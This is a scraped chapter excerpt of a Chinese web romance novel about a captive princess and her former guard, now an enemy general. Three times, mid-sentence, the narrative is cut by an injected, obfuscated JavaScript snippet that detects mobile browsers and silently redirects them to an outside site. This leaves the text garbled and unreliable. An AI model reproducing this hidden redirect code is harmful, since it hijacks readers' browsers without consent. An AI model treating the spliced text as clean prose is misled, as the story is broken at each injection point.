《她本高悬》 1. 第一章 鸟惊心 十月,雁鸣关外的寒意来得比往年都早。 北风挟着雨丝在空中肆虐盘旋,激得几只离群孤雁发出两声呕哑嘶鸣,扑簌簌消失夜幕中。 “走快点,磨蹭什么!”两名异族士兵披坚执锐,不耐烦地呵叱。 沈绾被粗暴拖下囚车,一双玉腕被麻绳磨出洇洇血痕,她唇瓣紧咬,强抑住喉底闷哼。 这是大胤国破的第五日。 也是她第一次迈进敌军王帐。 那是用上好牦牛皮铺就的帐子,沈绾曾听人说起,在拓摩族只有最高首领拓汗才有资格用这种东西。 毡帘隔去帐外寒气,脚下触感更是舒适柔软,可她此刻只觉头重脚轻,脚下步子踩得深一脚浅一脚。 几名女囚成一排在王座下站定,数道视线自四周汇聚,如在暗中窥伺的狼群,静静打量着这些大胤战俘。 “中原果真出美人,”上方高座飘下一道粗沉威严的声音,重重砸在耳畔,“个个都这么水灵。” 两边发出一阵哄笑,沈绾虽垂着眼,可依旧察觉出这些笑里含着十足的玩味与嘲弄。 “此次大捷,诸位劳苦功高,这些美人本汗不会独享,今夜便赐给诸位!” “多谢拓汗!”两侧案桌随即爆出急不可耐的拜谢。 硝烟之下,牛羊、战马和女人,都是宝贵的战利品。 “那本王先来!”一个蓄着络腮胡子的壮汉双臂一抻,大步上前,贪婪油腻的视线像搜寻猎物般在每个女郎身上掠过。 一排站的皆是高门侯府家的贵女,自小锦衣玉食、万千呵护,哪里禁得住蛮夷羞辱,一时间或羞恼或害怕,个个面色各异,抖如筛糠。 壮汉逡巡一圈后目光一顿,在沈绾跟前停下。 “这个倒有意思。”肥硕的手掌钳起少女下巴,那玲珑精致的脸蛋甚至不及他巴掌大小,此刻却映着一双冷凝清傲的眼,毫无惧意地直望向他。 “大胆!见到巴泰王还不跪下!”一旁士兵喝道,倏尔膝窝一痛,她死死咬紧下唇,身子摇晃几下硬是没有跪地。 上座拓汗似乎也来了兴趣,微微直起身,向前探了探,“这美人倒是个有血性的,见到本汗为何不跪?” 唇间尝到一丝血腥,沈绾狠狠甩开下颌桎梏,修长白腻的脖颈如天鹅般仰起,“我乃大胤帝姬,为何要向蛮夷下跪!” 冷硬低哑的女音掷地有声,明明生得一副娇娆姿容,神情却冷得如腊月寒竹。 气氛凝滞,帐中顿时寂静无声。 “柔嘉帝姬,昭宁帝姬……”拓汗如鹰的目光陡然凛冽,饶有意味地扫过座下之人。沈绾不动声色上前半步,将面色苍白的三姐姐护在身后,她暗暗攥紧手掌,掌心硬物划破娇嫩皮肉,渗出丝丝血珠。 “阿鸾……”感受到三姐姐的无助摸索,她微微侧身,反手将她握住。 她本是决了心,与其苟且偷生遭蛮夷凌辱,不如一了百了。可是——三姐姐怎么办……她眼睛看不见,如今自己是她唯一的依靠。 心中正百转千回,忽听有人道:“拓汗,按我拓摩族规,若要论功行赏,合该以军功高低论先后。中原有句俗话‘自古美人爱英雄’,这真英雄还没发话,美人自然不乐意了。” 说话的是位白衣男子,虽同样身着异族服饰,可单看通身气质,倒隐隐有几分中原书生的味道。 凝重的气氛在他三言两语的玩笑中解冻。拓汗耶齐格收回视线,刻意略过巴泰王阴沉的脸色,大臂一挥:“军师说的有理,若论起军功……” 他顿了顿,满殿视线骤然集中到王座一侧。 耶齐格转过头欣慰一笑:“阿烈,若论军功,整个拓摩谁又能比得过你?此番能顺利攻破胤都,你当居首功,更是我拓摩当之无愧的英雄!” “这些美人,理应由你先挑。” 沈绾顺势望去,视线陡然一滞。王座旁的男人与记忆中别出无二,明黄烛火在他清冽锋利的侧颜铺落一层阴影,勾勒出几分当年不曾见过的晦暗邪魅。 她依稀想起那年海棠微雨,眉眼清隽的少年跪在身前,神色定定对她说:“卑职此生愿以命为契,做公主的影子。” 往日光影流转,誓言如同暮春残花,秋风吹过,只余满地狼藉。 “我要她。” 他的声音同人一样,低沉偏冷,打破满堂寂静,此刻不容置疑,极为强势地宣布他的所有权。 幽邃目光凝落而下,带着灼灼烫意,快要在沈绾身上烧出洞。众人顺着他的视线,自然清楚这位北疆战神要的是谁。 “你——”巴泰王耶齐雷一怒之下涨红脸,两只牛眼快要喷出火星子。 “好。”耶齐格不动声色敛去眉间异动,抚掌一击,敬贤爱士道:“佳人配英雄,合该如此!” 血珠滴落,在素白裙边溅出点点红梅,沈绾僵住身子,耳鸣嗡嗡,惊愕羞愤的视线甚至来不及收回,便直直撞进男人深沉的幽眸里。 她不记得自己是如何离开王帐的,只觉脑袋愈发沉重,胸口不断翻涌的血气急促升腾,天旋地转间,酸麻的膝盖彻底卸了力气。 倒地那刻,久违却温暖的怀抱从身后揽住,带着山间雪松的清香,紧紧将她包围。 许是这味道太过熟悉,她仿佛又回到十四岁那年生辰,父皇命满城百姓一齐为她贺生。巍峨城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599231|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼下,花灯如海,彩带如溪,挤满了前来观礼的百姓,他们摩肩接踵,只为一睹王朝帝姬的风采。 那是她记忆里最风光的生辰宴。 那天,父皇指着城下一排衣衫褴褛的异族少年,说:“阿鸾,这都是我大胤强盛的象征,你挑一个罪奴回去当影卫,可好?” 她那时年纪小,不知父皇话中深意,也无心深究,视线挑挑拣拣,终于落在一个少年身上。 不过和她相仿的年纪,单薄的身板却挺得笔直,一双幽黑到发亮的眼睛掩在乱发后,像只时刻防御却不会放过任何逃生机会的小野狼。 “我要他!”玉手随意一指,便扯出因果羁绊。 少年成了她的影卫,朝朝暮暮,一晃三年。她那时骄蛮爱闹,宫人们私下里多少会叫几声苦,可少年却不厌其烦。无论她如何使唤刁难,他总是默默包容她所有的坏脾气。 她那时并不知道,他不仅是被俘的罪奴,更是父皇为她豢养的一条狗。 为保证这条狗足够听话,所有拓摩罪奴都被下了一种毒,唯有定期得到解药才能苟延寿命,而当年的沈绾,便是他存活的命脉。 “阿翊,阿翊……”昏睡中的少女似是被梦魇缠身,细腻如玉瓷的额头渗出细密汗珠。 男人捏着棉巾的指节一顿,她口中念的,正是他的中原名字——谢翊。 “翊者,明日也。你来日定要飞离这高高宫墙,替我去看看外面的世界。”小帝姬坐在观景阁栏杆上,望着天际流云对他说。 那是整个皇宫最高,也是视野最开阔的地方,凭栏而望,几乎可将半个宫城映入眼底。 明明是身受万民供奉的王朝帝姬,他却在她眼中看到不合时宜的孤寂。后来他才知道,原来所谓公主,不过是皇权枷锁下的雀鸟,即便再金贵,也终要在帝国崩塌时率先做出牺牲。 如同现在,大胤一朝国破,她首当其冲被献祭,连担着亡国骂名,一同钉在耻辱柱上。 榻中人身子抖得愈发厉害,即便盖了厚厚的绒毯,可触手玉肌仍是冷若寒冰。军医说这是风寒入体,女郎身子娇弱,一时半刻难以消退。 烛花噼啪作响,将男人俊朗的面容掩在暗处。谢翊瞥了眼案头血迹未干的匕首,哑然失笑,这位小帝姬还是一如既往地刚烈。 给她手心上了药,迟疑不过片刻,身上墨色外袍旋即解开,结实温热的身体牢牢将人拥入怀中。 帐中静谧,唯有烛火偶尔闪出摇曳光影。谢翊望向怀中人,惊觉不过短短五日,她竟瘦了一大圈。 心中异潮涌动,薄唇悄然吻上额头,终化作一声几不可闻的叹息:“阿鸾,好久不见。” 2. 第二章 花溅泪 沈绾是被热醒的。 密不透风的毛毯加上暖人的羊皮水袋,从头到脚无一处不被温热覆盖,快要将她融化。 只是这种热感比起昨晚,倒少了几分灼意。 她动了动酸疼的四肢,好半日才费力爬起身子。入目帐房与昨日截然不同,陈设简单干净,一副乌木紫檀衣架立在角落,上面挂着铁甲银盔,旁边还架着一柄刻着繁复图腾的宝剑。 这般带有中原特色的摆件在异族毡房里,显得有些格格不入。 看得出,这是个武将的营帐。 昏倒前的记忆涌来,高座之上的少年面庞从潮雾中浮现,还未来得及细思,帐帘掀起的寒风便与她打了个照面。 来人逆着晨光,身姿颀长,衣袍摆脚随着不疾不徐的步子上下翻飞。 沈绾怔了怔,印象中那个沉默寡言的影卫每次将她从观景阁背回寝殿,迈的就是这样的步子。 沈绾缓缓抬眼,俊逸到清寒的面容与回忆瞬间重合。 “我的公主,别来无恙。”他在她面前站定,薄唇轻掀,飘飘落下一句,竟莫名流出一丝旖旎。 沈绾猛地回神,冷冷对上他的视线,唇边扯出一声讥讽:“如今,我是该叫你谢翊,还是拓摩征南将军——耶齐烈?” 谢翊步子微滞,低眉哂笑:“名字而已,任凭公主高兴。” “不过,”他上前几步,高大身影带来的沉沉压迫感几乎快将沈绾溺毙,“我还是更喜欢,你叫我阿翊。” 男人身上的幽香不管不顾钻入鼻尖,曾经熟悉到让人安心的味道,此刻却让她感到恶心。 “你不配叫这个名字!”她蓦地抬眸,晨曦透过窗格在她湿漉漉的眼睫上凝落成影,“阿翊他,早已经死了。” 女音落地,空气骤然凝结,只剩下窗外北风的呼啸声。 水雾迷蒙的眼角泛出一尾殷红,霎时刺痛谢翊的眼,他瞳孔骤缩,嘴唇几番张合,终是没有说什么。 “我三姐姐呢?还有我父皇,他在哪?”沈绾吸了吸鼻子,果断将眼角泪珠往上抹干,即便此刻,她也不愿让人看出她的狼狈。 “公主这是在质问我,还是在恳求我?”谢翊轻嗤,徐徐俯下身子,视线几乎与她平齐。 沈绾咬紧银牙,手心尚未愈合的伤口再次捏紧,她冷眼望向他,一字一句道:“当初,我就不该留你……” “错了,”幽暗眸底似是裹挟着无数风云,终是在看到沈绾眼底恨意的那刻,土崩瓦解。 他薄唇轻勾,露出一声自嘲:“公主当初,就不该放我。” 谢翊离开皇宫那日,沈绾正在筹备大婚典礼。父皇亲自下旨赐婚,她将下嫁定北王世子,婚期定在下月。 那日,她一身华服高坐明堂,丢给他一粒赤色药丸,“这是最后的解药,吃了它,从此再无禁锢,天高海阔,你我再无瓜葛。” 他匐在宫殿砖地上,明明时值盛夏,他却只觉寒凉沁骨。修长指节攥得发白,他抬眸望向她,深邃的目光死死攫住,像是要把她深深刻进骨髓。 沈绾不明白,为什么已经重获自由,他却不见开心? 大婚前夕,边境战火愈发频繁,她那未婚夫婿不得不连夜赶赴战场,婚事也因此耽搁。 之后,便是国破,她从待嫁新娘一夜之间变成了亡国帝姬。 “其实你早在我身边时,就已经布下暗局,只等一朝发兵,便可里应外合。”沈绾深吸了口气,胸口像是撕裂般隐隐发疼,“因为没有人比你,更熟悉胤都布防。” 少女字字句句的控诉带着往事碎片在眼前闪现,谢翊不置可否,丢下一句轻叹:“你可知,即便不是我,有些事情也改……” “你少在这里惺惺作态——”沈绾忿忿将话截断,继而意识到什么,倏尔眸光一闪,将眸底怒火悄然湮灭。 她黯然低下声:“当初你在我身边为奴三年,如今不过境遇转换,我没什么可说。可我父皇年迈,你们能否……留他一条性命……” 她说到最后似是没了力气,湿润的羽睫如蝶翼般轻颤。她知道这些话在他听来有多可笑,可她不得不试一试。 离开胤都那天,她亲眼看见父皇被押解进一辆囚车,可一路走来,那辆囚车就像凭空消失了一样,没有半分踪迹。 父皇他,一定被他们关在某处。 “你愿留在我身边为奴?”见她惴惴不安却心怀一丝期待,谢翊似笑非笑抬起眼,漆黑如墨的眼神泛着点点幽光,像是饥饿已久的野狼终于看见期待已久的猎物迈入罗网。 “你可知,我到底想要什么?”他大手覆上她雪腻的后颈,长指轻勾,轻而易举便缠乱她颈侧寸寸青丝,轻佻又暧昧。 “你……”二人四目相对,错乱的气息肆意翻转纠缠。沈绾被他眼中的灼意吓到,下意识垂眸想要退开,却被他牢牢缚住,动不得分毫。 “你想要什么?”炙热视线仍凝在身上,她呼吸微促,第一次生了怯意。 男人见她双颊晕出两抹潮红,也不知是伤寒未愈还是心生惊恐,只觉如胭脂般惑人心智,醉人心神。 “我要你。” 他毫不迟疑,脱口而出,果断又坚定。 沈绾脑中炸出一道白光,将她整个定在原地,“你、你说什么?” “我要你。”他定定望向她,再次重复,幽暗如渊的视线化作绵密丝线死死将她缠住。 “放肆!”沈绾虽是未经人事,但也顿时明白他话中含义,只因他眼中欲念太过直白赤裸,让人避无可避。 她一时无措,慌乱下竟习惯性摆出往日姿态,“我乃大胤帝姬,你、你怎可……况且,我、我已有婚约……” 话未说完,眼前男人周身气压骤降,一双好看的桃花眸瞬间结上一层厚厚的冰翳。 “婚约?”他舌尖盘绕这两个字,发出一声冷嗤:“如今这境遇,你竟还想着那位未婚夫婿?他到底是生是死,你可曾知晓?” 沈绾语塞,蛮夷攻城那日,她只知守城将士伤亡惨重,可她那未婚夫婿却没有一点消息,想来不是阵亡就是被俘。拓奴残暴,她身为帝姬尚且如此,他身为胤朝将军,处境可想而知。 “他……死了?” 她怔怔呢喃,眼底浮起一抹悲色,然而这股哀伤还未来得及扩散,颈间便传来一阵痛意。 男人不知何时凑上来,微凉的薄唇覆上雪白玉肌,湿热舌尖舔过皮肉,锋利齿尖紧随其后,辗转吸吮,恣意啃咬,想要以此封缄住她的话音。 她皮肤娇嫩,不一会便被吮出鲜艳红痕,宛若一朵红莲绽放,妖冶淫/靡。 耳边惊雷乍现,脑中更是一片空白,胸腔中似有什么东西喷涌而出。待神志回体,她指尖陡然发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599232|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤。 他当她是什么?发泄欲望的工具?肆意践踏的玩物? 她何曾受过这般屈辱! 用尽全身力气猛地一推,只听“啪”地一声,响亮的耳光如平地惊雷,落在男人脸颊。 谢翊有些猝不及防,被打得偏转过头,他用舌尖抵了抵下颚,长睫微垂,遮住眸底汹涌暗潮。 “你在报复我?”沈绾气得声音发颤,她怎么也没想到,从前对她唯命是从的小护卫,会用这种最肮脏下作的手段羞辱她。 “……”谢翊哑然半晌,忽地低笑出声,“是又如何?” 沈绾呼吸急促,颤意从指尖蔓延全身,她竭力控制住瑟瑟发抖的肩膀,熊熊怒火从胸腔艰涩挤出:“你是什么东西,也配碰我……” 谢翊弯了弯唇,用指腹抹去唇角腥红,转头望向她,笑得邪戾:“我是什么东西,没人比公主殿下您更清楚了。” 他眸色阴鸷如寒潭,原先那股似有若无的柔情顷刻间烟消云散,沈绾有些被吓到,她恍惚想起,第一件见到谢翊杀人,就是这个神情。 那是她第一次溜出宫玩,正逢上元佳节,街上人潮汹涌,她见什么都稀奇,便缠着谢翊给她去买。等他回来时,她竟被几个地痞流氓堵在小巷,其中一个将她按在墙角,用手在她粉嫩的小脸上狠狠揉捏了一把。 这一幕正巧落入少年眼底,他二话不说卸了那人手臂,对方几人想要围殴,却被他一个个拧断了脖子,尸陈巷陌。 “为什么杀他们?” “他们该死。” 他说得简洁利索,也冷如寒铁。慢条斯理地冲洗掉手上血污,又迅速将尸体处理干净,一切是那样有条不紊,从容淡定,仿佛方才只是轻轻踩死了几只蚂蚁。 那时沈绾便知道,谢翊心里藏了头嗜血的野兽。 眼前高大的身影陡然逼近,男人再次抬手上前,沈绾猛地闭上眼,身子一缩。 她怕了。她怕他会杀了她! 想象中的触感并未出现,她羽睫微颤睁开眼,那只骨节分明的大掌堪堪停在脸侧。 “呵。”他轻笑一声,收回手退离床榻几步,挺拔修长的身形莫名透出几分落寞,“我不喜欢勉强。” 随手从旁取来一件长袍,朝榻上丢过去,“穿上它,滚出去。” 他语调冰冷,听不出情绪。 沈绾知道自己如今没有选择的余地,他若强来,她自是避无可避,可他既然松口,她也没有过多犹豫。她巴不得逃离这里,虽然不知道外面是什么情况,但总好过在这个疯子身边受折辱。 知晓边境天寒,自己身上又没有过多衣物,她动作麻利地掀开绒毯,将袍子往身上一裹,抬步就往外走。 擦身而过时,她恍惚在他嘴角看到一抹苦涩,步子微滞,却没做过多停留。 她一定是神智不清,烧糊涂了。 素手刚掀开帘帐,身后蓦地响起冷冽男音:“可想清楚了,踏出这个门,就没有后悔的余地。” “我从不后悔。” 他忽地嗤笑出声,声音淡冷得像雪夜里的冰,“打个赌吗?” “什么?”沈绾微微侧头,凛冽的秋风绕着耳侧发丝,吹得人一激灵。 “我赌你,”低沉磁性的嗓音似沙砾磨过耳廓,带着几分凉薄淡漠,“会在三日内乖乖回到这里,求我。” 3. 第三章 朱颜改 身后毡帘落下,帐内静得落针可闻。 谢翊缓缓松开身侧骨节发白的手,落下一声幽叹。 没想到他觊觎多年的月亮即便跌落高台,也还是那般桀骜倔强,不过没关系,他有的是耐心。 有些事情一旦开始,就注定改变不了。大胤亡国是如此,他对她的心思亦是如此。 边塞的风无遮无拦,恣意寒冽,即便是在晴日里,还是不管不顾往人领口钻。 沈绾出了帐子,懵懵站在营地,入目皆是训练有素的异族士兵。这时节北疆正值水草丰美,战马膘肥,明明刚经历过一场战争,可这些士卒们倒没有丝毫松懈,依旧斗志昂扬、整装待发,这在风气萎靡的胤都倒是少见。 她下意识紧了紧过于宽大的袍子,忽觉袖口有什么东西抵着,掏出一看,竟是一张兽骨做成的牌子,上面刻着“征南将军耶齐烈”几个字。 这应该是随身令牌之类的东西,想必是谢翊忘记取出,连带着衣袍一并扔给她了。 她本想还回去,可想到牌子主人令人憎恨的嘴脸,又立即打消了念头,悄悄将骨牌掩入袖中。 这东西说不定有些用处。 秋日的艳阳有些晃眼,她抬手挡了挡,脚下刚迈出两步,忽地迎面撞上一人。还未来及道歉,只听对方率先开口:“姑娘,当心。” 白衣入目,声音温润,是昨晚那个军师。 “是你?”看清沈绾后,他脸上略带讶异,“久闻昭宁帝姬美名,小生代鄯,这厢有礼。” 他气质温润,笑起来更是春风和煦。 沈绾被他的中原礼节弄得有些无措,本能想要还礼,但想到对方是拓摩人,心中恨意让她停了动作。 “帝姬这是……”代鄯见她面上泪痕未干,眉梢轻挑,“与阿烈吵架了?” 不过初次见面,他却熟稔得很,虽看不出恶意,沈绾还是警惕地蹙了蹙眉。 “阿烈这人着实死板了些,不懂得怜香惜玉,回头我——” 话未说完,一道男音忽在身后惊起:“小殿下……” 原来代鄯身后还跟着两人,其中一个身着大胤内监服饰,面孔陌生,另一个则身材魁梧,武将装扮。沈绾循声望去,心脏忽然突突直跳,来人竟是定北王手下的副将,名叫孙樾。 “原来二位使臣是帝姬的旧识?” “使臣?”沈绾惊疑,摸不准代鄯话音。 “怎么帝姬不知?”讶异在代鄯脸上一闪而过,他煦煦然道:“大胤如今已有新帝继位,特派二位使臣前来和谈。” 沈绾心头一顿:“新帝?” 她记得父皇膝下只有两个儿子,一个早夭,一个在两年前死在征讨拓奴的战场上。这新登基的皇帝能是谁? “回禀帝姬,是您的叔父,禹州晋王。”孙樾先是朝沈绾行了个礼,随后恭敬回话:“小王爷当时迫于无奈,才赴禹州……” “咳咳……”一旁的内监面色严肃,径直打断了谈话。 代鄯不以为意笑了笑:“时辰不早了,我该领二位使臣去见拓汗。”他没再给几人继续叙旧的机会,朝沈绾拱了拱手:“帝姬,告辞。” 瞧着一行人的身影消失在视线里,沈绾虽隐隐觉得有些奇怪,可后知后觉的欣喜还是占了上风。 怪不得这些时日,拓奴依旧驻扎在雁鸣关外,原来胤都已经有了援军!印象中她的这位叔父能征善战,与父皇向来兄友弟恭,想来定能大破敌军,力挽狂澜。 孙樾口中的那位小王爷,正是她的未婚夫婿,看来他还活着。 这可是天大的好消息! 既然孙副将今日见了她,想必定北王定会想尽办法前来救援,到时候,她就可以回家了! 巨大的喜悦在心中翻腾。沈绾紧了紧衣角,她必须尽快找到父皇和三姐姐,把这个好消息告诉他们。只要他们肯静待援军,哪怕受蛮夷一时凌辱,也能咬牙挺过去。 正思索着,一名拓摩女奴遥遥走过来,用不甚熟练的中原话对她说:“拓摩不养闲人,将军让你随我去后营浆洗。” “将军?”沈绾想了想,随即明白这是谢翊的意思,骨子里的傲气和愤恨此刻被她悄然掩下,反正再过不久就能离开,她就再忍忍。 女奴将她带到一处空旷营地,这里即是拓摩的后备营,粮草战马、锅炉浆衣,都在此处。沈绾虽说被安排浆洗,可那一盆盆待洗的脏衣秽物竟堆得有小山高。 女奴指着其中两盆,面无表情地丢下一句:“午饭前把这些清洗干净。” “……” 沈绾提着褴褛裙摆在水盆边坐下,柔白指尖刚触到水面,冷不丁瑟缩一下。她过惯了十指不沾阳春水的生活,莫提洗衣,就连梳发上妆皆是宫人伺候,哪里会做这些粗活。 可眼下,她只能硬着头皮。只是这异族人的衣服向来厚实,沾了水越洗越重,不一会双手搓得通红,竟连一件衣裳都没洗完。 她有些泄气,被养在金丝笼的雀儿一旦到了外面,竟无任何生存的能力。 她吸了吸鼻子,硬生生把眼底酸热逼退回去。暗暗咬了咬牙,觑了眼其他正在洗衣的女奴,一点点学着她们的样子,竟也渐渐摸出门道。 等到她把两盆衣物完全洗尽,天边已经金乌西沉。 沈绾抹去额边汗珠,看了眼早已磨破皮的双手,轻轻叹了口气。揉了揉早就咕咕直叫的肚子,迈着沉重步伐往后厨走去。 刚到门边,两名拓摩士兵的闲聊不经落入耳中。 “瞧那老皇帝不吃不喝,估计活不了多久了。” “也是报应,谁让他残虐无道,屠杀我拓摩族人。” “若不是拓汗有令,命我们没日没夜看守,他早就被杀一百回……” 他们手捧吃食坐在墙角,虽说着陌生的拓摩语,可沈绾还是听懂不少。只因她当年爱玩,曾缠着谢翊教过她。 私语声越来越低,后面几句沈绾没有听清,但可以确定的是,这两名士兵正是看守父皇的人,只要跟着他们,也许就能找到人! 暮色不知不觉笼罩大地,草原夜间的风如同野兽的狂鸣嘶吼,震得人胆颤。沈绾因心中有了盘算,当晚便偷偷跟在这两名士兵身后,借着夜色掩护溜进一所僻静的营帐。 “站住!什么人!”不出所料,尽管她再小心,还是被门口的精锐守卫发觉。 沈绾眸光一闪,随即从袖中掏出描金骨牌,压低声音不慌不忙道:“我奉耶齐烈将军之命,前来探查囚犯。” 士兵们借着晦暗不明的灯笼,迟疑地看了眼令牌,用生硬的中原话说道:“这里得了拓汗密令,任何人都不许入内!” 沈绾顿了顿,气势威严:“放肆!你怎知将军不是奉拓汗之命?耽搁了大事,你们担当得起吗?” 不怒自威的架势让守门士兵一怔,他们虽不认识沈绾,可深知大将军身边的人不可轻易得罪,况且她手中的令牌绝非造假,若是真的冒犯了将军,违逆了拓汗,那可真是大罪。 见对方动摇,沈绾趁机开口:“诸位放心,若是出了什么事,自有将军担着。” 士兵们犹豫半晌,终于松口:“进去吧。” 沈绾压低帽檐,故作镇定进了营帐,只一眼便看到坐在案桌旁的人。不过短短几日,印象中威严伟岸的父亲竟突然间苍老许多,鬓角边白发丛生,沾满灰尘的衣袍似乎有些肥大,在他身上显得摇摇欲坠,愈发衬得他佝偻的脊背伶仃瘦削。 “父皇——”她刚开口,忽听窗外传来士兵的高声叩拜:“参见拓汗!” 沈绾心头一惊,话音凝在喉头,寒意陡然从脚后蔓至脊背。 ** 耶齐格掀开帐帘,正瞧见一脸憔悴的胤帝望着烛花出神。 一只飞蛾扇动着轻盈的翅膀,围在烛台边上下飞舞。 耶齐格在桌边坐下,抬手轻轻一拧,飞蛾便如残破的纸片滑向烛芯,霎时被燃为灰烬。 “反正结果都是死,不如本汗帮它一把。”耶齐格捏了捏指腹,那双鹰隼眼睛透出冷芒。 “今日我部来了胤朝贵客,想必陛下还不知道吧?”见胤帝无动于衷,耶齐格冷笑一声,自顾道:“听闻那位晋王殿下与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599233|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您手足情深,如今他独掌大权,又派使臣前来和谈,您猜他到底愿用多大的代价来赎您?” 胤帝听到这,原本沉寂如枯井的眼珠动了动。 耶齐格瞧着眼前这位宿敌终于有了反应,心中一阵畅快,“怎么?是庆幸本汗没有完全攻破大胤,还是意外你那胞弟成了皇帝?” 耶齐格忽而大笑出声,带着上位者的嘲弄:“可若本汗告诉你,当初正是那位晋王殿下为谋帝位,与本汗里应外合,提供胤都布防图,不惜将你送入本汗囊中,不知陛下您作何感想?” 耶齐格的话犹如晴天惊雷,在沈绾耳膜边炸开。 她缩在床下,浑身隐隐发颤。一些藏在暗处的东西顷刻明晰起来。 怪不得她白日见那二人觉得奇怪,只因当时被盲目喜悦冲昏头脑,不曾细究,险些忘记帝王家的狠辣无情。 她不曾想到,一向对父皇敬爱有加且一母同胞的叔父,竟会伪装多年,不惜与蛮夷勾结,谋取皇位。 那日胤都城下战死的将军、士兵、百姓……竟都是一场权力游戏的牺牲品。 那定北王呢?他也参与了这场谋乱? 思绪像一团乱麻,沈绾来不及细思,忽听父皇颓丧沙哑的声音响起:“那拓汗得到的是什么?” 耶齐格直言不讳:“漠云十二州。” 雁鸣关外共有十二座城池,曾与北疆各部相连,土地肥沃,资源丰富,后来太祖皇帝领兵攻打,才将其纳入大胤版图。 帐中默了半晌,胤帝先是低嗤,继而狂笑开来:“那我该恭喜拓汗,喜得十二城!” 这世上没人比他更了解自己这位弟弟,漠云十二州是何等重要的战略位置,若是让给拓摩,等于自掘坟墓。他既然为得皇位能勾结外敌,那自然也能过河拆桥,翻脸毁约。 耶齐格似乎被胤帝的笑容激怒,几步上前猛地掐住脖颈,恶狠狠道:“明日便会签订文书,他们反悔不了,若是真的敢悔——本王就拿你祭天!让你的血为我拓摩铁骑开路!” ** 沈绾走出营帐时,耶齐格早已离开。北疆夜晚的风似乎变得更加凛冽,劈头盖脸直扑面颊。 她双手揽紧身子,快步朝外走,生怕耶齐格半路折回。 耳边北风呼呼作响,伴着父皇临别时的殷殷叮咛:“阿鸾,无论发生什么,一定要活下去!活下去,一切才有希望……” 活下去?她靠什么活下去?一个手无缚鸡之力的亡国帝姬,即便骨头再硬,处于野狼环伺之中,也只能任人宰割。 不行,她不能坐以待毙!她要想办法救父皇。听拓摩人的意思,若是明日和谈不成,父皇便彻底没了利用价值,到时候怕是难逃一死。 她暗暗攥紧手中骨牌,眸光微闪,脑中浮现出一个大胆的想法。 纤弱的身影步子坚定,渐渐消失在墨色中,全然没有发现一个高大的身影在不远处已于夜色悄然融为一体。 “你费心安排,就是让她看到这些?”一白衣从黑影身后走出。 “这些事情,她早晚会知道。我只是,让她更明白些。” “可这对她,着实有些残忍。”代鄯摇头咂舌。 谢翊薄唇轻扯,笑声落在风里,几乎听不出情绪,“想让高悬的月亮低头,总得狠下心。”他脸上此刻露出近乎病态的偏执,只是借着夜色伪装,无人发觉。 沈绾吹了一晚的风,到了半夜竟又发起烧来。直到远处天光乍破,烈风才彻底偃旗息鼓。 她躺在破草棚里,正望着棚顶出神,忽听外面传来一阵嘈杂。 她留神听着,“刺客”“杀人”之类的词语钻入耳中,拓摩营地怎么会有刺客?她心中莫名涌上一种不详的预感。 走出草棚,只见一群士兵正急匆匆往某个方向赶,她托着沉重步子跟上去,来到一片宽阔的校场。 场中空地用木头架起一座高台,上面似乎垂挂着两件东西。沈绾揉了揉眼睛,定睛一看,身子猛然僵住。 那高台上竟赫然挂着两个头颅 ——一个是父皇,一个是孙樾。 4. 第四章 酹江月 沈绾整个身子被定在原地,周遭似乎没了声音,全身血液倒流至胸口,带着撕裂开的痛意。 耶齐格脸色阴沉,阔步走上高台,锐利的目光在台下扫视一圈,威沉开口:“诸位,大胤欺压我部多年,凡异者皆屠,凡夷土必侵,我部百姓不堪其扰。本汗自继位以来,夙夜匪懈,虽有修好之心,然胤人出尔反尔、公然挑衅,竟于昨夜在我营中行刺,伤我士卒,更甚撕毁和谈文书,将我部视为蝼蚁草芥。如此狂悖无道、作辍无常,天将灭之!今本汗上承天意,以胤朝皇帝之颅为祭,不平大胤,誓不罢休!” 台下士兵瞬间被激怒,如狂流拍岸,爆出整齐划一的喧吼:“不平大胤,誓不罢休!不平大胤,誓不罢休……” 铅云在天际堆积,黑沉沉压成一片,震天的怒吼穿破苍穹,携有万钧之势。 沈绾不知道自己怎么回的后营,半边麻木的身体依旧坐在水盆边,机械地重复手上动作。 浸透了寒风的冷水漫过手指,很快就将苍白的指节晕出紫红,可她却全然不觉。 脑海中父皇的头颅在风中不断摇晃,时而模糊不清,时而清晰可见。他于大胤是天威不可冒犯的君主,可于她却是最慈爱不过的父亲。 她本非宫妃所出,她的母亲只是江南一名舞姬,因得了帝王临幸,才诞下龙裔,可惜没多久就病逝了。 后来帝王大恸,下令满城缟素。百官大力反对,却一个个被斩杀于殿前。自那时起,她就被方士预言——“大胤灾星”。 